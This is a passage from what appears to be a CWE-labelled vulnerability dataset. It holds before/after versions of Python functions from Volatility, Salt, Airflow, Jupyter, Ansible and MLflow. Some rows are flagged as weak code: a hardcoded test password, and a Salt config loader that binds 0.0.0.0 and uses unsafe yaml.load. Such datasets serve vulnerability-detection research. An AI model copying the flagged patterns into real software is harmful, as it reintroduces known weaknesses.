        # space that may have holes for device memory, that would fail because
        # any runs after the first hole would then be at the wrong offset.
        last_run = list(pspace.get_available_addresses())[-1]
        num_pages = (last_run[0] + last_run[1]) / 0x1000
            
        header.PhysicalMemoryBlockBuffer.NumberOfRuns = 0x00000001
        header.PhysicalMemoryBlockBuffer.NumberOfPages = num_pages
        header.PhysicalMemoryBlockBuffer.Run[0].BasePage = 0x0000000000000000
        header.PhysicalMemoryBlockBuffer.Run[0].PageCount = num_pages
        header.RequiredDumpSpace = (num_pages + 2) * 0x1000

        # Zero out the remaining non-essential fields
        ContextRecordOffset = headerspace.profile.get_obj_offset(header_format, ""ContextRecord"")
        ExceptionOffset = headerspace.profile.get_obj_offset(header_format, ""Exception"")
        headerspace.write(ContextRecordOffset, ""\x00"" * (ExceptionOffset - ContextRecordOffset))

        # Set the ""converted"" comment
        CommentOffset = headerspace.profile.get_obj_offset(header_format, ""Comment"")
        headerspace.write(CommentOffset, ""File was converted with Volatility"" + ""\x00"")

        # Yield the header
        yield 0, headerlen, headerspace.read(0, headerlen)
    
        # Write the main body
        for s, l in pspace.get_available_addresses():
            for i in range(s, s + l, blocksize):
                len_to_read = min(blocksize, s + l - i)
                yield i + headerlen, len_to_read, pspace.read(i, len_to_read)

        # Reset the config so volatility opens the crash dump 
        config.LOCATION = ""file://"" + output 

        # Crash virtual space 
        crash_vspace = utils.load_as(config)

        # The KDBG in the new crash dump
        crash_kdbg = obj.VolMagic(crash_vspace).KDBG.v()

        # The KPCR for the first CPU 
        kpcr = list(crash_kdbg.kpcrs())[0]
        
        # Set the CPU CONTEXT properly for the architecure 
        if memory_model == ""32bit"":
            kpcr.PrcbData.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.PrcbData.ProcessorState.ContextFrame.SegCs = 0x08
            kpcr.PrcbData.ProcessorState.ContextFrame.SegDs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegEs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegFs = 0x30
            kpcr.PrcbData.ProcessorState.ContextFrame.SegSs = 0x10
        else:
            kpcr.Prcb.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.Prcb.ProcessorState.ContextFrame.SegCs = 0x18
            kpcr.Prcb.ProcessorState.ContextFrame.SegDs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegEs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegFs = 0x53
            kpcr.Prcb.ProcessorState.ContextFrame.SegSs = 0x18   

        # Write the decoded KDBG block so Windbg can interpret it properly
        if hasattr(kdbg, 'block_encoded') and kdbg.block_encoded:
            crash_vspace.write(crash_kdbg.obj_offset, kdbg.obj_vm.data)",,volatilityfoundation/volatility,e33063a6230d129872e87a320c0453dfdb54d4db,"def convert_to_crash(config, output):

        blocksize = config.BLOCKSIZE
        config.WRITE = True
        pspace = utils.load_as(config, astype = 'physical')
        vspace = utils.load_as(config)

        memory_model = pspace.profile.metadata.get('memory_model', '32bit')

        if memory_model == ""64bit"":
            header_format = '_DMP_HEADER64'
        else:
            header_format = '_DMP_HEADER'

        headerlen = pspace.profile.get_obj_size(header_format)
        headerspace = addrspace.BufferAddressSpace(config, 0, ""PAGE"" * (headerlen / 4))
        header = obj.Object(header_format, offset = 0, vm = headerspace)

        kuser = obj.Object(""_KUSER_SHARED_DATA"",
                          offset = obj.VolMagic(vspace).KUSER_SHARED_DATA.v(),
                          vm = vspace)
        kdbg = obj.VolMagic(vspace).KDBG.v()

        # Scanning the memory region near KDDEBUGGER_DATA64 for 
        # DBGKD_GET_VERSION64
        dbgkd = kdbg.dbgkd_version64()

        # Set the correct file magic
        for i in range(len(""PAGE"")):
            header.Signature[i] = [ ord(x) for x in ""PAGE""][i]

        # Write the KeDebuggerDataBlock and ValidDump headers
        dumptext = ""DUMP""
        header.KdDebuggerDataBlock = kdbg.obj_offset
        if memory_model == ""64bit"":
            dumptext = ""DU64""
            header.KdDebuggerDataBlock = kdbg.obj_offset | 0xFFFF000000000000
        for i in range(len(dumptext)):
            header.ValidDump[i] = ord(dumptext[i])

        # The PaeEnabled member is essential for x86 crash files
        if memory_model == ""32bit"":
            if hasattr(vspace, ""pae"") and vspace.pae == True:
                header.PaeEnabled = 0x1
            else:
                header.PaeEnabled = 0x0

        # Set members of the crash header
        header.MajorVersion = dbgkd.MajorVersion
        header.MinorVersion = dbgkd.MinorVersion
        header.DirectoryTableBase = vspace.dtb
        header.PfnDataBase = kdbg.MmPfnDatabase
        header.PsLoadedModuleList = kdbg.PsLoadedModuleList
        header.PsActiveProcessHead = kdbg.PsActiveProcessHead
        header.MachineImageType = dbgkd.MachineType
        headerspace.write(header.DumpType.obj_offset, ""\x01\x00\x00\x00"")

        # Find the number of processors 
        header.NumberProcessors = len(list(kdbg.kpcrs()))

        # In MS crash dumps, SystemTime will not be set. It will 
        # represent the ""Debug session time:"".  We are 
        # using the member to represent the time the sample was
        # collected. 
        header.SystemTime = kuser.SystemTime.as_windows_timestamp()

        # Zero out the BugCheck members
        header.BugCheckCode = 0x00000000
        header.BugCheckCodeParameter[0] = 0x00000000
        header.BugCheckCodeParameter[1] = 0x00000000
        header.BugCheckCodeParameter[2] = 0x00000000
        header.BugCheckCodeParameter[3] = 0x00000000

        # Set the sample run information. We used to take the sum of the size 
        # of all runs, but that assumed the base layer was raw. In the case 
        # of base layers such as ELF64 core dump or any other run-based address 
        # space that may have holes for device memory, that would fail because
        # any runs after the first hole would then be at the wrong offset.
        last_run = list(pspace.get_available_addresses())[-1]
        num_pages = (last_run[0] + last_run[1]) / 0x1000
            
        header.PhysicalMemoryBlockBuffer.NumberOfRuns = 0x00000001
        header.PhysicalMemoryBlockBuffer.NumberOfPages = num_pages
        header.PhysicalMemoryBlockBuffer.Run[0].BasePage = 0x0000000000000000
        header.PhysicalMemoryBlockBuffer.Run[0].PageCount = num_pages
        header.RequiredDumpSpace = (num_pages + 2) * 0x1000

        # Zero out the remaining non-essential fields
        ContextRecordOffset = headerspace.profile.get_obj_offset(header_format, ""ContextRecord"")
        ExceptionOffset = headerspace.profile.get_obj_offset(header_format, ""Exception"")
        headerspace.write(ContextRecordOffset, ""\x00"" * (ExceptionOffset - ContextRecordOffset))

        # Set the ""converted"" comment
        CommentOffset = headerspace.profile.get_obj_offset(header_format, ""Comment"")
        headerspace.write(CommentOffset, ""File was converted with Volatility"" + ""\x00"")

        # Yield the header
        yield 0, headerspace.read(0, headerlen)
    
        # Write the main body
        for s, l in pspace.get_available_addresses():
            for i in range(s, s + l, blocksize):
                yield i + headerlen, pspace.read(i, min(blocksize, s + l - i))

        # Reset the config so volatility opens the crash dump 
        config.LOCATION = ""file://"" + output 

        # Crash virtual space 
        crash_vspace = utils.load_as(config)

        # The KDBG in the new crash dump
        crash_kdbg = obj.VolMagic(crash_vspace).KDBG.v()

        # The KPCR for the first CPU 
        kpcr = list(crash_kdbg.kpcrs())[0]
        
        # Set the CPU CONTEXT properly for the architecure 
        if memory_model == ""32bit"":
            kpcr.PrcbData.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.PrcbData.ProcessorState.ContextFrame.SegCs = 0x08
            kpcr.PrcbData.ProcessorState.ContextFrame.SegDs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegEs = 0x23
            kpcr.PrcbData.ProcessorState.ContextFrame.SegFs = 0x30
            kpcr.PrcbData.ProcessorState.ContextFrame.SegSs = 0x10
        else:
            kpcr.Prcb.ProcessorState.ContextFrame.SegGs = 0x00
            kpcr.Prcb.ProcessorState.ContextFrame.SegCs = 0x18
            kpcr.Prcb.ProcessorState.ContextFrame.SegDs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegEs = 0x2b
            kpcr.Prcb.ProcessorState.ContextFrame.SegFs = 0x53
            kpcr.Prcb.ProcessorState.ContextFrame.SegSs = 0x18   

        # Write the decoded KDBG block so Windbg can interpret it properly
        if hasattr(kdbg, 'block_encoded') and kdbg.block_encoded:
            crash_vspace.write(crash_kdbg.obj_offset, kdbg.obj_vm.data)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/dellos9.py,0,"def get_config(module):
    contents = module.params['config']

    if not contents:
        contents = module.config.get_config()
        module.params['config'] = contents
        return NetworkConfig(indent=1, contents=contents[0])
    else:
        return NetworkConfig(indent=1, contents=contents)",,ansible/ansible,40ddbe026d74082d84a312d00ad2b367f4596b00,"def get_config(module):
    contents = module.params['config']

    if not contents:
        contents = module.config.get_config()
        module.params['config'] = contents

    return NetworkConfig(indent=1, contents=contents[0])"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/google/cloud/fs/gcs.py,0,"def get_fs(conn_id: str | None, storage_options: dict[str, str] | None = None) -> AbstractFileSystem:
    # https://gcsfs.readthedocs.io/en/latest/api.html#gcsfs.core.GCSFileSystem
    from gcsfs import GCSFileSystem

    if conn_id is None:
        return GCSFileSystem()

    g = GoogleBaseHook(gcp_conn_id=conn_id)

    options = {
        ""project"": g.project_id,
        ""access"": g.extras.get(GCS_ACCESS, ""full_control""),
        ""token"": g._get_access_token(),
        ""consistency"": g.extras.get(GCS_CONSISTENCY, ""none""),
        ""cache_timeout"": g.extras.get(GCS_CACHE_TIMEOUT),
        ""requester_pays"": g.extras.get(GCS_REQUESTER_PAYS, False),
        ""session_kwargs"": g.extras.get(GCS_SESSION_KWARGS, {}),
        ""endpoint_url"": g.extras.get(GCS_ENDPOINT),
        ""default_location"": g.extras.get(GCS_DEFAULT_LOCATION),
        ""version_aware"": g.extras.get(GCS_VERSION_AWARE, ""false"").lower() == ""true"",
    }
    options.update(storage_options or {})

    return GCSFileSystem(**options)",CWE-Unknown,apache/airflow,0e2f2bc0ffb1c132bb93c1b0abbede6fdf0bad52,"def get_fs(conn_id: str | None, storage_options: dict[str, str] | None = None) -> AbstractFileSystem:
    # https://gcsfs.readthedocs.io/en/latest/api.html#gcsfs.core.GCSFileSystem
    from gcsfs import GCSFileSystem

    if conn_id is None:
        return GCSFileSystem()

    g = GoogleBaseHook(gcp_conn_id=conn_id)
    creds = g.get_credentials()

    options = {
        ""project"": g.project_id,
        ""access"": g.extras.get(GCS_ACCESS, ""full_control""),
        ""token"": creds.token,
        ""consistency"": g.extras.get(GCS_CONSISTENCY, ""none""),
        ""cache_timeout"": g.extras.get(GCS_CACHE_TIMEOUT),
        ""requester_pays"": g.extras.get(GCS_REQUESTER_PAYS, False),
        ""session_kwargs"": g.extras.get(GCS_SESSION_KWARGS, {}),
        ""endpoint_url"": g.extras.get(GCS_ENDPOINT),
        ""default_location"": g.extras.get(GCS_DEFAULT_LOCATION),
        ""version_aware"": g.extras.get(GCS_VERSION_AWARE, ""false"").lower() == ""true"",
    }
    options.update(storage_options or {})

    return GCSFileSystem(**options)"
,UNKNOWN,UNKNOWN,tests/unit/states/keystone_test.py,1,"def test_user_present(self):
        '''
        Test to ensure that the keystone user is present
        with the specified properties.
        '''
        name = 'nova'
        password = '$up3rn0v4'
        email = 'nova@domain.com'
        tenant = 'demo'

        ret = {'name': name,
               'result': False,
               'changes': {},
               'comment': ''}

        mock_f = MagicMock(return_value=False)
        mock_lst = MagicMock(return_value=['Error'])
        with patch.dict(keystone.__salt__, {'keystone.tenant_get': mock_lst}):
            comt = ('Tenant / project ""{0}"" does not exist'.format(tenant))
            ret.update({'comment': comt})
            self.assertDictEqual(keystone.user_present(name, password, email,
                                                       tenant), ret)

        mock_dict = MagicMock(side_effect=[{name: {'email': 'a@a.com'}},
                                           {name: {'email': email,
                                                   'enabled': False}},
                                           {name: {'email': email,
                                                   'enabled': True}},
                                           {name: {'email': email,
                                                   'enabled': True}},
                                           {'Error': 'error'},
                                           {'Error': 'error'}])
        mock_l = MagicMock(return_value={tenant: {'id': 'abc'}})
        with patch.dict(keystone.__salt__,
                        {'keystone.user_get': mock_dict,
                         'keystone.tenant_get': mock_l,
                         'keystone.user_verify_password': mock_f,
                         'keystone.user_create': mock_f}):
            with patch.dict(keystone.__opts__, {'test': True}):
                comt = ('User ""{0}"" will be updated'.format(name))
                ret.update({'comment': comt, 'result': None,
                            'changes': {'Email': 'Will be updated',
                                        'Enabled': 'Will be True',
                                        'Password': 'Will be updated'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

                ret.update({'comment': comt, 'result': None,
                            'changes': {'Enabled': 'Will be True',
                                        'Password': 'Will be updated'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

                ret.update({'comment': comt, 'result': None,
                            'changes': {'Tenant': 'Will be added to ""demo"" tenant',
                                        'Password': 'Will be updated'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email, tenant), ret)

                ret.update({'comment': comt, 'result': None,
                            'changes': {'Password': 'Will be updated'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

                comt = ('Keystone user ""nova"" will be added')
                ret.update({'comment': comt, 'result': None,
                            'changes': {'User': 'Will be created'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

            with patch.dict(keystone.__opts__, {'test': False}):
                comt = ('Keystone user {0} has been added'.format(name))
                ret.update({'comment': comt, 'result': True,
                            'changes': {'User': 'Created'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)",CWE-259,saltstack/salt,9bdb161eac2cdefe2d9de867d425118639167a60,"def test_user_present(self):
        '''
        Test to ensure that the keystone user is present
        with the specified properties.
        '''
        name = 'nova'
        password = '$up3rn0v4'
        email = 'nova@domain.com'
        tenant = 'demo'

        ret = {'name': name,
               'result': False,
               'changes': {},
               'comment': ''}

        mock_f = MagicMock(return_value=False)
        mock_lst = MagicMock(return_value=['Error'])
        with patch.dict(keystone.__salt__, {'keystone.tenant_get': mock_lst}):
            comt = ('Tenant ""{0}"" does not exist'.format(tenant))
            ret.update({'comment': comt})
            self.assertDictEqual(keystone.user_present(name, password, email,
                                                       tenant), ret)

        mock_dict = MagicMock(side_effect=[{name: {'email': 'a@a.com'}},
                                           {name: {'email': email,
                                                   'enabled': False}},
                                           {name: {'email': email,
                                                   'enabled': True}},
                                           {name: {'email': email,
                                                   'enabled': True}},
                                           {'Error': 'error'},
                                           {'Error': 'error'}])
        mock_l = MagicMock(return_value={tenant: {'id': 'abc'}})
        with patch.dict(keystone.__salt__,
                        {'keystone.user_get': mock_dict,
                         'keystone.tenant_get': mock_l,
                         'keystone.user_verify_password': mock_f,
                         'keystone.user_create': mock_f}):
            with patch.dict(keystone.__opts__, {'test': True}):
                comt = ('User ""{0}"" is already present'.format(name))
                ret.update({'comment': comt, 'result': None,
                            'changes': {'Email': 'Will be updated'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

                ret.update({'comment': comt, 'result': None,
                            'changes': {'Enabled': 'Will be True'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

                ret.update({'comment': comt, 'result': None,
                            'changes': {'Tenant':
                                        'Will be added to ""demo"" tenant'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email, tenant), ret)

                ret.update({'comment': comt, 'result': None,
                            'changes': {'Password': 'Will be updated'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

                comt = ('Keystone user ""nova"" will be added')
                ret.update({'comment': comt, 'result': None,
                            'changes': {'User': 'Will be created'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)

            with patch.dict(keystone.__opts__, {'test': False}):
                comt = ('Keystone user {0} has been added'.format(name))
                ret.update({'comment': comt, 'result': True,
                            'changes': {'User': 'Created'}})
                self.assertDictEqual(keystone.user_present(name, password,
                                                           email), ret)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/widgets/widget.py,0,"def init_widget_js():
    path = os.path.split(os.path.abspath( __file__ ))[0]
    for filepath in glob(os.path.join(path, ""*.py"")):
        filename = os.path.split(filepath)[1]
        name = filename.rsplit('.', 1)[0]
        if not (name == 'widget' or name == '__init__') and name.startswith('widget_'):
            # Remove 'widget_' from the start of the name before compiling the path.
            js_path = '../static/notebook/js/widgets/%s.js' % name[7:]
            display(Javascript(data='$.getScript(""%s"");' % js_path))",,jupyter/notebook,837ef442568c330c16bd44a1247243cc29833836,"def init_widget_js():
    path = os.path.split(os.path.abspath( __file__ ))[0]
    for filepath in glob(os.path.join(path, ""*.py"")):
        filename = os.path.split(filepath)[1]
        name = filename.rsplit('.', 1)[0]
        if not (name == 'widget' or name == '__init__') and name.startswith('widget_'):
            # Remove 'widget_' from the start of the name before compiling the path.
            js_path = 'static/notebook/js/widgets/%s.js' % name[7:]
            display(Javascript(data='$.getScript(""%s"");' % js_path))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/kubernetesmod.py,0,"def _setup_conn(**kwargs):
    """"""
    Setup kubernetes API connection singleton
    """"""
    kubeconfig = kwargs.get(""kubeconfig"") or __salt__[""config.option""](
        ""kubernetes.kubeconfig""
    )
    kubeconfig_data = kwargs.get(""kubeconfig_data"") or __salt__[""config.option""](
        ""kubernetes.kubeconfig-data""
    )
    context = kwargs.get(""context"") or __salt__[""config.option""](""kubernetes.context"")

    if (kubeconfig_data and not kubeconfig) or (
        kubeconfig_data and kwargs.get(""kubeconfig_data"")
    ):
        with tempfile.NamedTemporaryFile(
            prefix=""salt-kubeconfig-"", delete=False
        ) as kcfg:
            kcfg.write(base64.b64decode(kubeconfig_data))
            kubeconfig = kcfg.name

    if not (kubeconfig and context):
        if kwargs.get(""api_url"") or __salt__[""config.option""](""kubernetes.api_url""):
            salt.utils.versions.warn_until(
                ""Sodium"",
                ""Kubernetes configuration via url, certificate, username and password will be removed in Sodiom. ""
                ""Use 'kubeconfig' and 'context' instead."",
            )
            try:
                return _setup_conn_old(**kwargs)
            except Exception:  # pylint: disable=broad-except
                raise CommandExecutionError(
                    ""Old style kubernetes configuration is only supported up to python-kubernetes 2.0.0""
                )
        else:
            raise CommandExecutionError(
                ""Invalid kubernetes configuration. Parameter 'kubeconfig' and 'context' are required.""
            )
    kubernetes.config.load_kube_config(config_file=kubeconfig, context=context)

    # The return makes unit testing easier
    return {""kubeconfig"": kubeconfig, ""context"": context}",,saltstack/salt,0e1b7316ad9e6bb92ea383b2c6b45f754c8971e1,"def _setup_conn(**kwargs):
    """"""
    Setup kubernetes API connection singleton
    """"""
    kubeconfig = kwargs.get(""kubeconfig"") or __salt__[""config.option""](
        ""kubernetes.kubeconfig""
    )
    kubeconfig_data = kwargs.get(""kubeconfig_data"") or __salt__[""config.option""](
        ""kubernetes.kubeconfig-data""
    )
    context = kwargs.get(""context"") or __salt__[""config.option""](""kubernetes.context"")

    if (kubeconfig_data and not kubeconfig) or (
        kubeconfig_data and kwargs.get(""kubeconfig_data"")
    ):
        with tempfile.NamedTemporaryFile(
            prefix=""salt-kubeconfig-"", delete=False
        ) as kcfg:
            kcfg.write(base64.b64decode(kubeconfig_data))
            kubeconfig = kcfg.name

    if not (kubeconfig and context):
        if kwargs.get(""api_url"") or __salt__[""config.option""](""kubernetes.api_url""):
            salt.utils.versions.warn_until(
                ""3001"",
                ""Kubernetes configuration via url, certificate, username and password will be removed in Sodiom. ""
                ""Use 'kubeconfig' and 'context' instead."",
            )
            try:
                return _setup_conn_old(**kwargs)
            except Exception:  # pylint: disable=broad-except
                raise CommandExecutionError(
                    ""Old style kubernetes configuration is only supported up to python-kubernetes 2.0.0""
                )
        else:
            raise CommandExecutionError(
                ""Invalid kubernetes configuration. Parameter 'kubeconfig' and 'context' are required.""
            )
    kubernetes.config.load_kube_config(config_file=kubeconfig, context=context)

    # The return makes unit testing easier
    return {""kubeconfig"": kubeconfig, ""context"": context}"
,UNKNOWN,UNKNOWN,providers/amazon/tests/unit/amazon/aws/hooks/test_s3.py,1,"def test_load_string_acl(self, s3_bucket):
        hook = S3Hook()
        hook.load_string(""Contént"", ""my_key"", s3_bucket, acl_policy=""public-read"")
        response = boto3.client(""s3"").get_object_acl(Bucket=s3_bucket, Key=""my_key"", RequestPayer=""requester"")
        assert response[""Grants""][1][""Permission""] == ""READ""
        assert response[""Grants""][0][""Permission""] == ""FULL_CONTROL""",CWE-703,apache/airflow,122b20bb0fe63757a4a7807cb7fbd755b38728d2,"def test_load_string_acl(self, s3_bucket):
        hook = S3Hook()
        hook.load_string(""Contént"", ""my_key"", s3_bucket, acl_policy=""public-read"")
        response = boto3.client(""s3"").get_object_acl(Bucket=s3_bucket, Key=""my_key"", RequestPayer=""requester"")
        assert response[""Grants""][1][""Permission""] == ""READ""
        assert response[""Grants""][0][""Permission""] == ""FULL_CONTROL"""
,UNKNOWN,UNKNOWN,salt/config.py,1,"def master_config(path):
    '''
    Reads in the master configuration file and sets up default options
    '''
    opts = {'interface': '0.0.0.0',
            'publish_port': '4505',
            'publish_pull_port': '45055',
            'worker_threads': 5,
            'worker_start_port': '45056',
            'ret_port': '4506',
            'keep_jobs': 24,
            'pki_dir': '/etc/salt/pki',
            'cachedir': '/var/cache/salt',
            'file_roots': {
                'base': ['/srv/salt'],
                },
            'file_buffer_size': 1048576,
            'hash_type': 'md5',
            'conf_file': path,
            'open_mode': False,
            'auto_accept': False,
            'renderer': 'yaml_jinja',
            'state_top': 'top.yml',
            'log_file': '/var/log/salt/master',
            'log_level': 'warning',
            'log_granular_levels': {},
            'cluster_masters': [],
            'cluster_mode': 'paranoid',
            }

    if os.path.isfile(path):
        try:
            opts.update(yaml.load(open(path, 'r')))
        except Exception:
            pass

    opts['aes'] = salt.crypt.Crypticle.generate_key_string()

    # Enabling open mode requires that the value be set to True, and nothing
    # else!
    if opts['open_mode']:
        if opts['open_mode'] == True:
            opts['open_mode'] = True
        else:
            opts['open_mode'] = False
    if opts['auto_accept']:
        if opts['auto_accept'] == True:
            opts['auto_accept'] = True
        else:
            opts['auto_accept'] = False
    return opts","CWE-20, CWE-605",saltstack/salt,d5ee3cecf0a3b1cf2a69b09a38638f85b66d13e3,"def master_config(path):
    '''
    Reads in the master configuration file and sets up default options
    '''
    opts = {'interface': '0.0.0.0',
            'publish_port': '4505',
            'publish_pull_port': '45055',
            'worker_threads': 5,
            'worker_start_port': '45056',
            'ret_port': '4506',
            'keep_jobs': 24,
            'pki_dir': '/etc/salt/pki',
            'cachedir': '/var/cache/salt',
            'file_roots': {
                'base': ['/srv/salt'],
                },
            'file_buffer_size': 1048576,
            'hash_type': 'md5',
            'conf_file': path,
            'open_mode': False,
            'auto_accept': False,
            'renderer': 'yaml_jinja',
            'log_file': '/var/log/salt/master',
            'log_level': 'warning',
            'log_granular_levels': {},
            'cluster_masters': [],
            'cluster_mode': 'paranoid',
            }

    if os.path.isfile(path):
        try:
            opts.update(yaml.load(open(path, 'r')))
        except Exception:
            pass

    opts['aes'] = salt.crypt.Crypticle.generate_key_string()

    # Enabling open mode requires that the value be set to True, and nothing
    # else!
    if opts['open_mode']:
        if opts['open_mode'] == True:
            opts['open_mode'] = True
        else:
            opts['open_mode'] = False
    if opts['auto_accept']:
        if opts['auto_accept'] == True:
            opts['auto_accept'] = True
        else:
            opts['auto_accept'] = False
    return opts"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/server/auth/sqlalchemy_store.py,0,"def delete_registered_model_permission(self, name: str, username: str):
        with self.ManagedSessionMaker() as session:
            perm = self._get_registered_model_permission(session, name, username)
            session.delete(perm)",,mlflow/mlflow,0562eb73d4bdec966cd3c0e7cf905c9570ef8fcf,"def delete_registered_model_permission(self, name: str, username: str):
        with self.ManagedSessionMaker() as session:
            perm = self._get_registered_model_permission(session, name, username)
            session.delete(perm)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_pillar.py,1,"def test_pillar_keys():
    """"""
    Confirm that we can access pillar keys
    """"""
    with patch.dict(pillarmod.__pillar__, {""pkg"": {""apache"": ""httpd""}}):
        test_key = ""pkg""
        assert pillarmod.keys(test_key) == [""apache""]

    with patch.dict(
        pillarmod.__pillar__,
        {""12345"": {""xyz"": ""my_luggage_code""}, ""7"": {""11"": {""12"": ""13""}}},
    ):
        test_key = ""7:11""
        res = pillarmod.keys(test_key)
        assert res == [""12""]",CWE-703,saltstack/salt,296f6648f2baf31e529d1a4cb1f3cc249006dd38,"def test_pillar_keys():
    """"""
    Confirm that we can access pillar keys
    """"""
    with patch.dict(pillarmod.__pillar__, {""pkg"": {""apache"": ""httpd""}}):
        test_key = ""pkg""
        assert pillarmod.keys(test_key) == [""apache""]

    with patch.dict(
        pillarmod.__pillar__,
        {""12345"": {""xyz"": ""my_luggage_code""}, ""7"": {""11"": {""12"": ""13""}}},
    ):
        test_key = ""7:11""
        res = pillarmod.keys(test_key)
        assert res == [""12""]"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/nbextensions.py,0,"def validate_nbextension(require, logger=None):
    """"""Validate a named nbextension.

    Looks across all of the nbextension directories.

    Returns a list of warnings.

    require : str
        require.js path used to load the extension
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    warnings = []
    infos = []

    js_exists = False
    for exts in _nbextension_dirs():
        # Does the Javascript entrypoint actually exist on disk?
        js = u""{}.js"".format(os.path.join(exts, *require.split(""/"")))
        js_exists = os.path.exists(js)
        if js_exists:
            break

    require_tmpl = u""        - require? {} {}""
    if js_exists:
        infos.append(require_tmpl.format(GREEN_OK, require))
    else:
        warnings.append(require_tmpl.format(RED_X, require))
    
    if logger:
        if warnings:
            logger.warning(u""      - Validating: problems found:"")
            for msg in warnings:
                logger.warning(msg)
            for msg in infos:
                logger.info(msg)
        else:
            logger.info(u""      - Validating: {}"".format(GREEN_OK))
    
    return warnings",,jupyter/notebook,42132cac865bd30fdc8779bb6912490ef2be50cc,"def validate_nbextension(require, logger=None):
    """"""Validate a named nbextension.

    Looks across all of the nbextension directories.

    Returns a list of warnings.

    require : str
        require.js path used to load the extension
    logger : Jupyter logger [optional]
        Logger instance to use
    """"""
    warnings = []
    infos = []

    js_exists = False
    for exts in _nbextension_dirs():
        # Does the Javascript entrypoint actually exist on disk?
        js = u""{}.js"".format(os.path.join(exts, *require.split(""/"")))
        js_exists = os.path.exists(js)
        if js_exists:
            break

    require_tmpl = u""        - require? {} {}""
    if js_exists:
        infos.append(require_tmpl.format(GREEN_OK, require))
    else:
        warnings.append(require_tmpl.format(RED_X, require))
    
    if logger:
        if warnings:
            logger.warn(u""      - Validating: problems found:"")
            map(logger.warn, warnings)
            map(logger.info, infos)
        else:
            logger.info(u""      - Validating: {}"".format(GREEN_OK))
    
    return warnings"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_task_instance_endpoint.py,1,"def test_should_respond_200(self, username, session):
        self.create_task_instances(session)
        # Update ti and set operator to None to
        # test that operator field is nullable.
        # This prevents issue when users upgrade to 2.0+
        # from 1.10.x
        # https://github.com/apache/airflow/issues/14421
        session.query(TaskInstance).update({TaskInstance.operator: None}, synchronize_session='fetch')
        session.commit()
        response = self.client.get(
            ""/api/v1/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context"",
            environ_overrides={""REMOTE_USER"": username},
        )
        assert response.status_code == 200
        assert response.json == {
            ""dag_id"": ""example_python_operator"",
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00+00:00"",
            ""execution_date"": ""2020-01-01T00:00:00+00:00"",
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""map_index"": -1,
            ""max_tries"": 0,
            ""operator"": None,
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""sla_miss"": None,
            ""start_date"": ""2020-01-02T00:00:00+00:00"",
            ""state"": ""running"",
            ""task_id"": ""print_the_context"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""rendered_fields"": {},
            ""trigger"": None,
            ""triggerer_job"": None,
        }",CWE-703,apache/airflow,4bf0cb98724a2cf04aab6359881a87aeb9cec0ce,"def test_should_respond_200(self, username, session):
        self.create_task_instances(session)
        # Update ti and set operator to None to
        # test that operator field is nullable.
        # This prevents issue when users upgrade to 2.0+
        # from 1.10.x
        # https://github.com/apache/airflow/issues/14421
        session.query(TaskInstance).update({TaskInstance.operator: None}, synchronize_session='fetch')
        session.commit()
        response = self.client.get(
            ""/api/v1/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context"",
            environ_overrides={""REMOTE_USER"": username},
        )
        assert response.status_code == 200
        assert response.json == {
            ""dag_id"": ""example_python_operator"",
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00+00:00"",
            ""execution_date"": ""2020-01-01T00:00:00+00:00"",
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""map_index"": -1,
            ""max_tries"": 0,
            ""operator"": None,
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 8,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""sla_miss"": None,
            ""start_date"": ""2020-01-02T00:00:00+00:00"",
            ""state"": ""running"",
            ""task_id"": ""print_the_context"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""rendered_fields"": {},
            ""trigger"": None,
            ""triggerer_job"": None,
        }"
,UNKNOWN,UNKNOWN,tests/sensors/test_base.py,1,"def test_fail_with_reschedule(self, make_sensor, time_machine, session):
        sensor, dr = make_sensor(return_value=False, poke_interval=10, timeout=5, mode=""reschedule"")

        def _get_tis():
            tis = dr.get_task_instances(session=session)
            assert len(tis) == 2
            yield next(x for x in tis if x.task_id == SENSOR_OP)
